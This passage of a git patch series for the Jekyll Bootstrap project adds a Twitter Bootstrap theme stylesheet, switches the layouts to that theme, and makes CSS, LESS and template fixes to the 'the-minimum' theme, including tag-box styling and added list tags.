+.modal-backdrop,.modal-backdrop.fade.in{filter:alpha(opacity=80);-khtml-opacity:0.8;-moz-opacity:0.8;opacity:0.8;} +.modal{position:fixed;top:50%;left:50%;z-index:11000;width:560px;margin:-250px 0 0 -280px;background-color:#ffffff;border:1px solid #999;border:1px solid rgba(0, 0, 0, 0.3);*border:1px solid #999;-webkit-border-radius:6px;-moz-border-radius:6px;border-radius:6px;-webkit-box-shadow:0 3px 7px rgba(0, 0, 0, 0.3);-moz-box-shadow:0 3px 7px rgba(0, 0, 0, 0.3);box-shadow:0 3px 7px rgba(0, 0, 0, 0.3);-webkit-background-clip:padding-box;-moz-background-clip:padding-box;background-clip:padding-box;}.modal .close{margin-top:7px;} +.modal.fade{-webkit-transition:opacity .3s linear, top .3s ease-out;-moz-transition:opacity .3s linear, top .3s ease-out;-ms-transition:opacity .3s linear, top .3s ease-out;-o-transition:opacity .3s linear, top .3s ease-out;transition:opacity .3s linear, top .3s ease-out;top:-25%;} +.modal.fade.in{top:50%;} +.modal-header{border-bottom:1px solid #eee;padding:5px 15px;} +.modal-body{padding:15px;} +.modal-body form{margin-bottom:0;} +.modal-footer{background-color:#f5f5f5;padding:14px 15px 15px;border-top:1px solid #ddd;-webkit-border-radius:0 0 6px 6px;-moz-border-radius:0 0 6px 6px;border-radius:0 0 6px 6px;-webkit-box-shadow:inset 0 1px 0 #ffffff;-moz-box-shadow:inset 0 1px 0 #ffffff;box-shadow:inset 0 1px 0 #ffffff;zoom:1;margin-bottom:0;}.modal-footer:before,.modal-footer:after{display:table;content:"";zoom:1;} +.modal-footer:after{clear:both;} +.modal-footer .btn{float:right;margin-left:5px;} +.modal .popover,.modal .twipsy{z-index:12000;} +.twipsy{display:block;position:absolute;visibility:visible;padding:5px;font-size:11px;z-index:1000;filter:alpha(opacity=80);-khtml-opacity:0.8;-moz-opacity:0.8;opacity:0.8;}.twipsy.fade.in{filter:alpha(opacity=80);-khtml-opacity:0.8;-moz-opacity:0.8;opacity:0.8;} +.twipsy.above .twipsy-arrow{bottom:0;left:50%;margin-left:-5px;border-left:5px solid transparent;border-right:5px solid transparent;border-top:5px solid #000000;} +.twipsy.left .twipsy-arrow{top:50%;right:0;margin-top:-5px;border-top:5px solid transparent;border-bottom:5px solid transparent;border-left:5px solid #000000;} +.twipsy.below .twipsy-arrow{top:0;left:50%;margin-left:-5px;border-left:5px solid transparent;border-right:5px solid transparent;border-bottom:5px solid #000000;} +.twipsy.right .twipsy-arrow{top:50%;left:0;margin-top:-5px;border-top:5px solid transparent;border-bottom:5px solid transparent;border-right:5px solid #000000;} +.twipsy-inner{padding:3px 8px;background-color:#000000;color:white;text-align:center;max-width:200px;text-decoration:none;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;} +.twipsy-arrow{position:absolute;width:0;height:0;} +.popover{position:absolute;top:0;left:0;z-index:1000;padding:5px;display:none;}.popover.above .arrow{bottom:0;left:50%;margin-left:-5px;border-left:5px solid transparent;border-right:5px solid transparent;border-top:5px solid #000000;} +.popover.right .arrow{top:50%;left:0;margin-top:-5px;border-top:5px solid transparent;border-bottom:5px solid transparent;border-right:5px solid #000000;} +.popover.below .arrow{top:0;left:50%;margin-left:-5px;border-left:5px solid transparent;border-right:5px solid transparent;border-bottom:5px solid #000000;} +.popover.left .arrow{top:50%;right:0;margin-top:-5px;border-top:5px solid transparent;border-bottom:5px solid transparent;border-left:5px solid #000000;} +.popover .arrow{position:absolute;width:0;height:0;} +.popover .inner{background:#000000;background:rgba(0, 0, 0, 0.8);padding:3px;overflow:hidden;width:280px;-webkit-border-radius:6px;-moz-border-radius:6px;border-radius:6px;-webkit-box-shadow:0 3px 7px rgba(0, 0, 0, 0.3);-moz-box-shadow:0 3px 7px rgba(0, 0, 0, 0.3);box-shadow:0 3px 7px rgba(0, 0, 0, 0.3);} +.popover .title{background-color:#f5f5f5;padding:9px 15px;line-height:1;-webkit-border-radius:3px 3px 0 0;-moz-border-radius:3px 3px 0 0;border-radius:3px 3px 0 0;border-bottom:1px solid #eee;} +.popover .content{background-color:#ffffff;padding:14px;-webkit-border-radius:0 0 3px 3px;-moz-border-radius:0 0 3px 3px;border-radius:0 0 3px 3px;-webkit-background-clip:padding-box;-moz-background-clip:padding-box;background-clip:padding-box;}.popover .content p,.popover .content ul,.popover .content ol{margin-bottom:0;} +.fade{-webkit-transition:opacity 0.15s linear;-moz-transition:opacity 0.15s linear;-ms-transition:opacity 0.15s linear;-o-transition:opacity 0.15s linear;transition:opacity 0.15s linear;opacity:0;}.fade.in{opacity:1;} +.label{padding:1px 3px 2px;font-size:9.75px;font-weight:bold;color:#ffffff;text-transform:uppercase;white-space:nowrap;background-color:#bfbfbf;-webkit-border-radius:3px;-moz-border-radius:3px;border-radius:3px;}.label.important{background-color:#c43c35;} +.label.warning{background-color:#f89406;} +.label.success{background-color:#46a546;} +.label.notice{background-color:#62cffc;} +.media-grid{margin-left:-20px;margin-bottom:0;zoom:1;}.media-grid:before,.media-grid:after{display:table;content:"";zoom:1;} +.media-grid:after{clear:both;} +.media-grid li{display:inline;} +.media-grid a{float:left;padding:4px;margin:0 0 18px 20px;border:1px solid #ddd;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;-webkit-box-shadow:0 1px 1px rgba(0, 0, 0, 0.075);-moz-box-shadow:0 1px 1px rgba(0, 0, 0, 0.075);box-shadow:0 1px 1px rgba(0, 0, 0, 0.075);}.media-grid a img{display:block;} +.media-grid a:hover{border-color:#0069d6;-webkit-box-shadow:0 1px 4px rgba(0, 105, 214, 0.25);-moz-box-shadow:0 1px 4px rgba(0, 105, 214, 0.25);box-shadow:0 1px 4px rgba(0, 105, 214, 0.25);} \ No newline at end of file diff --git a/assets/themes/twitter/css/style.css b/assets/themes/twitter/css/style.css new file mode 100644 index 0000000..ac3cb73 --- /dev/null +++ b/assets/themes/twitter/css/style.css @@ -0,0 +1,71 @@ +/* Override some defaults */ +html, body { + background-color: #eee; +} +body { + padding-top: 40px; /* 40px to make the container go all the way to the bottom of the topbar */ +} +.container > footer p { + text-align: center; /* center align it with the container */ +} +.container { + width: 820px; /* downsize our container to make the content feel a bit tighter and more cohesive. NOTE: this removes two full columns from the grid, meaning you only go to 14 columns and not 16. */ +} + +/* The white background content wrapper */ +.content { + background-color: #fff; + padding: 20px; + margin: 0 -20px; /* negative indent the amount of the padding to maintain the grid system */ + -webkit-border-radius: 0 0 6px 6px; + -moz-border-radius: 0 0 6px 6px; + border-radius: 0 0 6px 6px; + -webkit-box-shadow: 0 1px 2px rgba(0,0,0,.15); + -moz-box-shadow: 0 1px 2px rgba(0,0,0,.15); + box-shadow: 0 1px 2px rgba(0,0,0,.15); +} + +/* Page header tweaks */ +.page-header { + background-color: #f5f5f5; + padding: 20px 20px 10px; + margin: -20px -20px 20px; +} + +.topbar .btn { + border: 0; +} + + +/* tag_box ======================================================== */ + +.tag_box { + list-style:none; + margin:0; + padding:5px 0 ; + overflow:hidden; +} +.tag_box li { + line-height:28px; +} +.tag_box.inline li { + float:left; +} +.tag_box a { + padding: 3px 6px; + margin: 2px; + background: #eee; + color:#005F6B; + border-radius: 3px; + text-decoration:none; +} +.tag_box a span{ + vertical-align:super; + font-size:0.8em; +} +.tag_box a.active { + background:#57A957; + border:1px solid #4C964D; + color:#FFF; +} + \ No newline at end of file From 72f569454266345a1ede3829bfe07b6b7d14fcff Mon Sep 17 00:00:00 2001 From: Jade Dominguez <plusjade@gmail.com> Date: Thu, 12 Jan 2012 12:54:32 -0800 Subject: [PATCH 011/144] use twitter theme as default --- _layouts/default.html | 4 ++-- _layouts/page.html | 2 +- _layouts/post.html | 2 +- 3 files changed, 4 insertions(+), 4 deletions(-) diff --git a/_layouts/default.html b/_layouts/default.html index 2391b67..bddadd5 100644 --- a/_layouts/default.html +++ b/_layouts/default.html @@ -1,4 +1,4 @@ --- --- -{% assign theme_asset_path = "/assets/themes/tom" %} -{% include themes/tom/default.html %} +{% assign theme_asset_path = "/assets/themes/twitter" %} +{% include themes/twitter/default.html %} diff --git a/_layouts/page.html b/_layouts/page.html index 7985e03..9a6351c 100644 --- a/_layouts/page.html +++ b/_layouts/page.html @@ -1,4 +1,4 @@ --- layout: default --- -{% include themes/tom/page.html %} +{% include themes/twitter/page.html %} diff --git a/_layouts/post.html b/_layouts/post.html index 66490a9..4371409 100644 --- a/_layouts/post.html +++ b/_layouts/post.html @@ -1,4 +1,4 @@ --- layout: default --- -{% include themes/tom/post.html %} +{% include themes/twitter/post.html %} From 4021a8c402122240cead072c14fd999b8058d69b Mon Sep 17 00:00:00 2001 From: Yuya Saito <studiomohawk@gmail.com> Date: Fri, 13 Jan 2012 08:20:31 +0900 Subject: [PATCH 012/144] title should not have changed --- _config.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/_config.yml b/_config.yml index 442bf60..d3caf3f 100644 --- a/_config.yml +++ b/_config.yml @@ -9,7 +9,7 @@ var: tags_path : /tags.html production_url : http://username.github.com # or your custom domain name -title : the_minimum +title : Jekyll Boostrap author : name : Name Lastname From 775898886708e13903be06e68486b3e577c2bff6 Mon Sep 17 00:00:00 2001 From: Yuya Saito <studiomohawk@gmail.com> Date: Fri, 13 Jan 2012 09:39:09 +0900 Subject: [PATCH 013/144] remove linear class --- categories.html | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/categories.html b/categories.html index 529a345..b13d596 100644 --- a/categories.html +++ b/categories.html @@ -5,7 +5,7 @@ group: example-page --- -<ul class="tag_box inline"> +<ul class="tag_box"> {% assign categories_list = site.categories %} {% include helpers/categories_list.html %} </ul> From 320470d8442fd977734ae5cf359a3ba79ed7f90e Mon Sep 17 00:00:00 2001 From: Yuya Saito <studiomohawk@gmail.com> Date: Fri, 13 Jan 2012 09:39:37 +0900 Subject: [PATCH 014/144] remove linear class --- tags.html | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/tags.html b/tags.html index fa36a9c..947f0b7 100644 --- a/tags.html +++ b/tags.html @@ -4,8 +4,8 @@ header: Posts By Tag group: example-page --- - -<ul class="tag_box inline"> + +<ul class="tag_box"> {% assign tags_list = site.tags %} {% include helpers/tags_list.html %} </ul> From 0ec3a40a53d2ddc01f7386009f952fe85d4bbe31 Mon Sep 17 00:00:00 2001 From: Yuya Saito <studiomohawk@gmail.com> Date: Fri, 13 Jan 2012 09:40:16 +0900 Subject: [PATCH 015/144] missing ul tags --- pages.html | 7 ++++++- 1 file changed, 6 insertions(+), 1 deletion(-) diff --git a/pages.html b/pages.html index 91c6c96..d7fd5ac 100644 --- a/pages.html +++ b/pages.html @@ -6,16 +6,21 @@ --- <h2>All Pages</h2> +<ul> {% assign pages_list = site.pages %} {% include helpers/pages_list.html %} - +</ul> <h2>Pages in group: project</h2> +<ul> {% assign pages_list = site.pages %} {% assign group = 'project' %} {% include helpers/pages_list.html %} +</ul> <h2>Pages in group: example-page</h2> +<ul> {% assign pages_list = site.pages %} {% assign group = 'example-page' %} {% include helpers/pages_list.html %} +</ul> From 4da313acf4a3b6b60b399d3d42175bd79bb3eda1 Mon Sep 17 00:00:00 2001 From: Yuya Saito <studiomohawk@gmail.com> Date: Fri, 13 Jan 2012 09:41:27 +0900 Subject: [PATCH 016/144] Fixed minor issues --- _includes/themes/the-minimum/default.html | 2 +- assets/themes/the-minimum/css/_layout.less | 31 +- assets/themes/the-minimum/css/_less-base.less | 24 ++ assets/themes/the-minimum/css/helper.css | 10 +- assets/themes/the-minimum/css/module.css | 33 -- assets/themes/the-minimum/css/style.css | 324 +++++++++--------- assets/themes/the-minimum/css/style.less | 50 ++- 7 files changed, 242 insertions(+), 232 deletions(-) diff --git a/_includes/themes/the-minimum/default.html b/_includes/themes/the-minimum/default.html index 548b2a9..140d21e 100644 --- a/_includes/themes/the-minimum/default.html +++ b/_includes/themes/the-minimum/default.html @@ -47,7 +47,7 @@ <div class="misc vcard"> <h4>about</h4> <ul> - <li class="contact"><address><span class="author fn n">{{ site.author.name }}</span><span class="fn email">{{ site.author.email }}</span></address></li> + <li class="contact"><address><span class="author fn n">{{ site.author.name }}</span> - <span class="fn email">{{ site.author.email }}</span></address></li> <li class="github"><a href="http://github.com/{{ site.author.github }}/" rel="me">github.com/{{ site.author.github }}</a></li> <li class="twitter"><a href="http://twitter.com/{{ site.author.twitter }}/" rel="me">twitter.com/{{ site.author.twitter }}</a></li> <li class="rss"><a href="http://feeds.feedburner.com/{{ site.author.feedname }}">Subscribe to RSS Feed</a></li> diff --git a/assets/themes/the-minimum/css/_layout.less b/assets/themes/the-minimum/css/_layout.less index f1733c1..9e2c2fc 100644 --- a/assets/themes/the-minimum/css/_layout.less +++ b/assets/themes/the-minimum/css/_layout.less @@ -274,17 +274,7 @@ .unit-article { - .unit-head-inner, .entry-content, .misc-content, .unit-foot-inner { width: @11cols; } - .unit-head-inner, .entry-content, .misc-content { - h1, h2, h3, h4, h5, p, ul, ol, dl, blockquote { margin-right: 270px; } - } - - .unit-head-inner { - .meta { - margin-bottom: 0; - width: @4cols; - } - } + .unit-head-inner, .entry-content, .misc-content, .unit-foot-inner { width: @8cols; } .unit-foot { .pagination { @@ -335,22 +325,15 @@ .unit-article { - .unit-head-inner, .entry-content, .misc-content, .unit-foot-inner { width: @16cols; } - .unit-head-inner, .entry-content, .misc-content { - h1, h2, h3, h4, h5, p, ul, ol, dl, blockquote { - margin-left: 360px; - margin-right: 360px; - } - img.huge { margin-left: -360px; } - } - - .unit-head-inner { - .meta { width: @4cols; } - } + .unit-head-inner, .entry-content, .misc-content { width: @8cols; } + .unit-foot-inner { width: @16cols; } .unit-foot { .pagination { width: @10cols; } - .gotop { width: @6cols; } + .gotop { + padding-right: 360px; + width: @2cols; + } } } // .unit-article diff --git a/assets/themes/the-minimum/css/_less-base.less b/assets/themes/the-minimum/css/_less-base.less index 07dcecd..e7fdcf6 100644 --- a/assets/themes/the-minimum/css/_less-base.less +++ b/assets/themes/the-minimum/css/_less-base.less @@ -184,6 +184,30 @@ No styleguide reference. /* LESS helper +*/ + +/* +List modules +.list-linear - list line up horizontally No styleguide reference. */ + +.list-linear { + letter-spacing: -0.31em; + *letter-spacing: normal; + word-spacing: -0.43em; + list-style: none; + padding-left: 0; + li { + display: inline-block; + *display: inline; + zoom: 1; + line-height: normal; + letter-spacing: normal; + margin-right: 16px; + word-spacing: normal; + vertical-align: middle; + &:last-child { margin-right: 0; } + } +} diff --git a/assets/themes/the-minimum/css/helper.css b/assets/themes/the-minimum/css/helper.css index c4a4555..9345473 100644 --- a/assets/themes/the-minimum/css/helper.css +++ b/assets/themes/the-minimum/css/helper.css @@ -29,15 +29,19 @@ hr { -moz-box-sizing: content-box; } .hasGrid:before, .hasGrid:after, .unit-inner:before, -.unit-inner:after { content: ""; display: table; } +.unit-inner:after, +.tag_box:before, +.tag_box:after { content: ""; display: table; } .clearfix:after, .cf:after, .hasGrid:after, -.unit-inner:after { clear: both; } +.unit-inner:after, +.tag_box:after { clear: both; } .clearfix, .cf, .hasGrid, -.unit-inner { *zoom: 1; } +.unit-inner, +.tag_box { *zoom: 1; } .left { *display: inline; float: left; diff --git a/assets/themes/the-minimum/css/module.css b/assets/themes/the-minimum/css/module.css index 507a140..47503ad 100644 --- a/assets/themes/the-minimum/css/module.css +++ b/assets/themes/the-minimum/css/module.css @@ -36,36 +36,3 @@ No styleguide reference. .media .img img { display:block; } .media .media-right { float:right; margin-left: 14px; } .media .bd, .media .ft, .media .hd { overflow:hidden; *overflow:visible; zoom:1; } - -/* -List modules - -.list-linear - list line up horizontally -HTML: -<ul class="list-linear"> - <li></li> - <li></li> - <li></li> -</ul> - -No styleguide reference. -*/ - -.list-linear { - letter-spacing: -0.31em; - *letter-spacing: normal; - word-spacing: -0.43em; - list-style: none; - padding-left: 0; -} -.list-linear li { - display: inline-block; - *display: inline; - zoom: 1; - line-height: normal; - letter-spacing: normal; - margin-right: 16px; - word-spacing: normal; - vertical-align: middle; -} -.list-linear li:last-child { margin-right: 0; } diff --git a/assets/themes/the-minimum/css/style.css b/assets/themes/the-minimum/css/style.css index aed76c6..7bde68d 100644 --- a/assets/themes/the-minimum/css/style.css +++ b/assets/themes/the-minimum/css/style.css @@ -144,9 +144,33 @@ No styleguide reference. } /* LESS helper +*/ +/* +List modules +.list-linear - list line up horizontally No styleguide reference. */ +.list-linear { + letter-spacing: -0.31em; + *letter-spacing: normal; + word-spacing: -0.43em; + list-style: none; + padding-left: 0; +} +.list-linear li { + display: inline-block; + *display: inline; + zoom: 1; + line-height: normal; + letter-spacing: normal; + margin-right: 16px; + word-spacing: normal; + vertical-align: middle; +} +.list-linear li:last-child { + margin-right: 0; +} /* LESS VARIABLES --------------------------------------------------------------------------------- */ /* GLOBAL @@ -201,7 +225,7 @@ pre { } /* MAIN --------------------------------------------------------------------------------- */ -.unit-article .unit-article-inner header { +.unit-article header { background: url('/assets/themes/the-minimum/skin/100-90-5-monochrome.png'); background-repeat: repeat; background-position: 0 0; @@ -210,112 +234,112 @@ pre { padding-top: 1.625em; padding-bottom: 1.625em; } -.unit-article .unit-article-inner header h1 { +.unit-article header h1 { color: #2d2d2d; margin-top: 0; margin-bottom: 0; } -.unit-article .unit-article-inner .entry-content h2, -.unit-article .unit-article-inner .entry-content h3, -.unit-article .unit-article-inner .entry-content h4, -.unit-article .unit-article-inner .entry-content h5, -.unit-article .unit-article-inner .entry-content h6 { +.unit-article .entry-content h2, +.unit-article .entry-content h3, +.unit-article .entry-content h4, +.unit-article .entry-content h5, +.unit-article .entry-content h6 { color: #2d2d2d; } -.unit-article .unit-article-inner .entry-content h2 a:link, -.unit-article .unit-article-inner .entry-content h3 a:link, -.unit-article .unit-article-inner .entry-content h4 a:link, -.unit-article .unit-article-inner .entry-content h5 a:link, -.unit-article .unit-article-inner .entry-content h6 a:link { +.unit-article .entry-content h2 a:link, +.unit-article .entry-content h3 a:link, +.unit-article .entry-content h4 a:link, +.unit-article .entry-content h5 a:link, +.unit-article .entry-content h6 a:link { color: #2d2d2d; border: 0; } -.unit-article .unit-article-inner .entry-content h2 a:visited, -.unit-article .unit-article-inner .entry-content h3 a:visited, -.unit-article .unit-article-inner .entry-content h4 a:visited, -.unit-article .unit-article-inner .entry-content h5 a:visited, -.unit-article .unit-article-inner .entry-content h6 a:visited { +.unit-article .entry-content h2 a:visited, +.unit-article .entry-content h3 a:visited, +.unit-article .entry-content h4 a:visited, +.unit-article .entry-content h5 a:visited, +.unit-article .entry-content h6 a:visited { color: #141414; border: 0; } -.unit-article .unit-article-inner .entry-content h2 a:hover, -.unit-article .unit-article-inner .entry-content h3 a:hover, -.unit-article .unit-article-inner .entry-content h4 a:hover, -.unit-article .unit-article-inner .entry-content h5 a:hover, -.unit-article .unit-article-inner .entry-content h6 a:hover { +.unit-article .entry-content h2 a:hover, +.unit-article .entry-content h3 a:hover, +.unit-article .entry-content h4 a:hover, +.unit-article .entry-content h5 a:hover, +.unit-article .entry-content h6 a:hover { color: #474747; border: 0; } -.unit-article .unit-article-inner .entry-content:first-child h2, -.unit-article .unit-article-inner .entry-content:first-child h3, -.unit-article .unit-article-inner .entry-content:first-child h4, -.unit-article .unit-article-inner .entry-content:first-child h5, -.unit-article .unit-article-inner .entry-content:first-child h6 { +.unit-article .entry-content:first-child h2, +.unit-article .entry-content:first-child h3, +.unit-article .entry-content:first-child h4, +.unit-article .entry-content:first-child h5, +.unit-article .entry-content:first-child h6 { margin-top: 0; } -.unit-article .unit-article-inner a:link { +.unit-article a:link { border-bottom: 1px dotted #99cc99; } -.unit-article .unit-article-inner a:visited { +.unit-article a:visited { border-bottom: 1px dotted #77bb77; } -.unit-article .unit-article-inner a:hover { +.unit-article a:hover { border-bottom: 1px dotted #bbddbb; } -.unit-article .unit-article-inner blockquote { +.unit-article blockquote { border-left: 1em solid rgba(21, 25, 25, 0.8); padding-left: 1em; } -.unit-article .unit-article-inner blockquote p { +.unit-article blockquote p { margin-left: 0; margin-right: 0; } -.unit-article .unit-article-inner ul, .unit-article .unit-article-inner ol, .unit-article .unit-article-inner dl { +.unit-article ul, .unit-article ol, .unit-article dl { padding-left: 0; } -.unit-article .unit-article-inner ul { +.unit-article ul { list-style: square; } -.unit-article .unit-article-inner ol { +.unit-article ol { list-style: decimal; } -.unit-article .unit-article-inner li h1, -.unit-article .unit-article-inner dt h1, -.unit-article .unit-article-inner dd h1, -.unit-article .unit-article-inner li h2, -.unit-article .unit-article-inner dt h2, -.unit-article .unit-article-inner dd h2, -.unit-article .unit-article-inner li h3, -.unit-article .unit-article-inner dt h3, -.unit-article .unit-article-inner dd h3, -.unit-article .unit-article-inner li h4, -.unit-article .unit-article-inner dt h4, -.unit-article .unit-article-inner dd h4, -.unit-article .unit-article-inner li h5, -.unit-article .unit-article-inner dt h5, -.unit-article .unit-article-inner dd h5, -.unit-article .unit-article-inner li p, -.unit-article .unit-article-inner dt p, -.unit-article .unit-article-inner dd p, -.unit-article .unit-article-inner li ul, -.unit-article .unit-article-inner dt ul, -.unit-article .unit-article-inner dd ul, -.unit-article .unit-article-inner li ol, -.unit-article .unit-article-inner dt ol, -.unit-article .unit-article-inner dd ol, -.unit-article .unit-article-inner li dl, -.unit-article .unit-article-inner dt dl, -.unit-article .unit-article-inner dd dl, -.unit-article .unit-article-inner li blockquote, -.unit-article .unit-article-inner dt blockquote, -.unit-article .unit-article-inner dd blockquote, -.unit-article .unit-article-inner li .hasGrid, -.unit-article .unit-article-inner dt .hasGrid, -.unit-article .unit-article-inner dd .hasGrid { +.unit-article li h1, +.unit-article dt h1, +.unit-article dd h1, +.unit-article li h2, +.unit-article dt h2, +.unit-article dd h2, +.unit-article li h3, +.unit-article dt h3, +.unit-article dd h3, +.unit-article li h4, +.unit-article dt h4, +.unit-article dd h4, +.unit-article li h5, +.unit-article dt h5, +.unit-article dd h5, +.unit-article li p, +.unit-article dt p, +.unit-article dd p, +.unit-article li ul, +.unit-article dt ul, +.unit-article dd ul, +.unit-article li ol, +.unit-article dt ol, +.unit-article dd ol, +.unit-article li dl, +.unit-article dt dl, +.unit-article dd dl, +.unit-article li blockquote, +.unit-article dt blockquote, +.unit-article dd blockquote, +.unit-article li .hasGrid, +.unit-article dt .hasGrid, +.unit-article dd .hasGrid { margin-left: 0; margin-right: 0; } -.unit-article .unit-article-inner p code, .unit-article .unit-article-inner li code { +.unit-article p code, .unit-article li code { margin: 0 2px; padding: 2px 5px; white-space: nowrap; @@ -328,59 +352,101 @@ pre { -webkit-background-clip: padding-box; background-clip: padding-box; } -.unit-article .unit-article-inner img { +.unit-article img { display: block; margin-left: auto; margin-left: auto; } -.unit-article .unit-article-inner img.left { +.unit-article img.left { margin-right: 16px; } -.unit-article .unit-article-inner img.right { +.unit-article img.right { margin-left: 16px; } -.unit-article .unit-article-inner img.huge { - position: relative; -} -.unit-article .unit-article-inner .date-publish { +.unit-article .date-publish { margin-bottom: 0; } -.unit-article .unit-article-inner .list-linear .list-head { +.unit-article .list-linear .list-head { margin-right: 4px; } -.unit-article .unit-article-inner .list-category { +.unit-article .list-category { margin-bottom: 0; text-transform: capitalize; } -.unit-article .unit-article-inner .list-tag { +.unit-article .list-tag { text-transform: capitalize; } -.unit-article .unit-article-inner .unit-foot { +.unit-article .unit-foot { background: #4d4d4d; color: #fafafa; padding-top: 1.625em; padding-bottom: 1.625em; position: relative; } -.unit-article .unit-article-inner .unit-foot a:link { +.unit-article .unit-foot a:link { color: #fafafa; } -.unit-article .unit-article-inner .unit-foot a:visited { +.unit-article .unit-foot a:visited { color: #fafafa; } -.unit-article .unit-article-inner .unit-foot a:hover { +.unit-article .unit-foot a:hover { color: #ffffff; } -.unit-article .unit-article-inner .unit-foot nav ul { +.unit-article .unit-foot nav ul { list-style: none; } -.unit-article .unit-article-inner .unit-foot nav ul li { +.unit-article .unit-foot nav ul li { display: inline; } -.unit-article .unit-article-inner .unit-foot .gotop { +.unit-article .unit-foot .gotop { margin-bottom: 0; } /* post & page */ +.layout-page .tag_box { + background-color: #999999; + padding: 0.8125em; + list-style: none; +} +.layout-page .tag_box li { + display: inline; + line-height: normal; + vertical-align: middle; +} +.layout-page .tag_box a { + background-color: #99cc99; + float: left; + border: 1px solid #448844; + padding: 3px 6px 3px 6px; + -webkit-border-radius: 3px; + -moz-border-radius: 3px; + border-radius: 3px; + margin: 5px; + -moz-background-clip: padding; + -webkit-background-clip: padding-box; + background-clip: padding-box; + text-shadow: 0 -1px 0 rgba(255, 255, 255, 0.4); + -webkit-box-shadow: inset 0 1px 0 rgba(255, 255, 255, 0.4), 0 1px 1px rgba(0, 0, 0, 0.2); + -moz-box-shadow: inset 0 1px 0 rgba(255, 255, 255, 0.4), 0 1px 1px rgba(0, 0, 0, 0.2); + box-shadow: inset 0 1px 0 rgba(255, 255, 255, 0.4), 0 1px 1px rgba(0, 0, 0, 0.2); + -webkit-transition-duration: 0.2s; + -moz-transition-duration: 0.2s; + transition-duration: 0.2s; + -webkit-user-select: none; + -moz-user-select: none; + -ms-user-select: none; + user-select: none; +} +.layout-page .tag_box a:active { + -webkit-box-shadow: inset 0 1px 4px rgba(0, 0, 0, 0.6); + -moz-box-shadow: inset 0 1px 4px rgba(0, 0, 0, 0.6); + box-shadow: inset 0 1px 4px rgba(0, 0, 0, 0.6); + background: #336633; + border: solid #336633; +} +.layout-page .tag_box a:hover { + background-color: #77bb77; + border: 1px solid #336633; +} /* FOOTER ----------------------------------------------- */ .the-footer { @@ -651,43 +717,7 @@ pre { .unit-article .entry-content, .unit-article .misc-content, .unit-article .unit-foot-inner { - width: 60em; - } - .unit-article .unit-head-inner h1, - .unit-article .entry-content h1, - .unit-article .misc-content h1, - .unit-article .unit-head-inner h2, - .unit-article .entry-content h2, - .unit-article .misc-content h2, - .unit-article .unit-head-inner h3, - .unit-article .entry-content h3, - .unit-article .misc-content h3, - .unit-article .unit-head-inner h4, - .unit-article .entry-content h4, - .unit-article .misc-content h4, - .unit-article .unit-head-inner h5, - .unit-article .entry-content h5, - .unit-article .misc-content h5, - .unit-article .unit-head-inner p, - .unit-article .entry-content p, - .unit-article .misc-content p, - .unit-article .unit-head-inner ul, - .unit-article .entry-content ul, - .unit-article .misc-content ul, - .unit-article .unit-head-inner ol, - .unit-article .entry-content ol, - .unit-article .misc-content ol, - .unit-article .unit-head-inner dl, - .unit-article .entry-content dl, - .unit-article .misc-content dl, - .unit-article .unit-head-inner blockquote, - .unit-article .entry-content blockquote, - .unit-article .misc-content blockquote { - margin-right: 270px; - } - .unit-article .unit-head-inner .meta { - margin-bottom: 0; - width: 20.625em; + width: 43.125em; } .unit-article .unit-foot .pagination { float: left; @@ -725,56 +755,18 @@ pre { .the-header .nav-global { width: 43.125em; } - .unit-article .unit-head-inner, - .unit-article .entry-content, - .unit-article .misc-content, + .unit-article .unit-head-inner, .unit-article .entry-content, .unit-article .misc-content { + width: 43.125em; + } .unit-article .unit-foot-inner { width: 88.125em; } - .unit-article .unit-head-inner h1, - .unit-article .entry-content h1, - .unit-article .misc-content h1, - .unit-article .unit-head-inner h2, - .unit-article .entry-content h2, - .unit-article .misc-content h2, - .unit-article .unit-head-inner h3, - .unit-article .entry-content h3, - .unit-article .misc-content h3, - .unit-article .unit-head-inner h4, - .unit-article .entry-content h4, - .unit-article .misc-content h4, - .unit-article .unit-head-inner h5, - .unit-article .entry-content h5, - .unit-article .misc-content h5, - .unit-article .unit-head-inner p, - .unit-article .entry-content p, - .unit-article .misc-content p, - .unit-article .unit-head-inner ul, - .unit-article .entry-content ul, - .unit-article .misc-content ul, - .unit-article .unit-head-inner ol, - .unit-article .entry-content ol, - .unit-article .misc-content ol, - .unit-article .unit-head-inner dl, - .unit-article .entry-content dl, - .unit-article .misc-content dl, - .unit-article .unit-head-inner blockquote, - .unit-article .entry-content blockquote, - .unit-article .misc-content blockquote { - margin-left: 360px; - margin-right: 360px; - } - .unit-article .unit-head-inner img.huge, .unit-article .entry-content img.huge, .unit-article .misc-content img.huge { - margin-left: -360px; - } - .unit-article .unit-head-inner .meta { - width: 20.625em; - } .unit-article .unit-foot .pagination { width: 54.375em; } .unit-article .unit-foot .gotop { - width: 31.875em; + padding-right: 360px; + width: 9.375em; } .layout-page .unit-body .unit-body-inner { width: 43.125em; diff --git a/assets/themes/the-minimum/css/style.less b/assets/themes/the-minimum/css/style.less index 9b9a3d7..0c52066 100644 --- a/assets/themes/the-minimum/css/style.less +++ b/assets/themes/the-minimum/css/style.less @@ -69,7 +69,6 @@ pre { /* MAIN --------------------------------------------------------------------------------- */ .unit-article { - .unit-article-inner { header { background: url('@{noise-100-90-5}'); @@ -151,7 +150,6 @@ pre { } img.left { margin-right: 16px; } img.right { margin-left: 16px; } - img.huge { position: relative; } .date-publish { margin-bottom: 0; } .list-linear .list-head { margin-right: 4px; } @@ -182,12 +180,54 @@ pre { .gotop { margin-bottom: 0; } } // .article-inner .unit-foot - } // .article-inner } // .the-article /* post & page */ -.page-post { - +.layout-page { + .tag_box { + background-color: @subtle; + padding: (@line-height / @em) / 2; + list-style: none; + li { + display: inline; + line-height: normal; + vertical-align: middle; + } + a { + background-color: @green; + float: left; + border: 1px solid darken(@green, 30%); + padding: 3px 6px 3px 6px; + -webkit-border-radius: 3px; + -moz-border-radius: 3px; + border-radius: 3px; + margin: 5px; + -moz-background-clip: padding; -webkit-background-clip: padding-box; background-clip: padding-box; + text-shadow: 0 -1px 0 rgba(255, 255, 255, 0.4); + -webkit-box-shadow: inset 0 1px 0 rgba(255, 255, 255, 0.4), 0 1px 1px rgba(0, 0, 0, 0.2); + -moz-box-shadow: inset 0 1px 0 rgba(255, 255, 255, 0.4), 0 1px 1px rgba(0, 0, 0, 0.2); + box-shadow: inset 0 1px 0 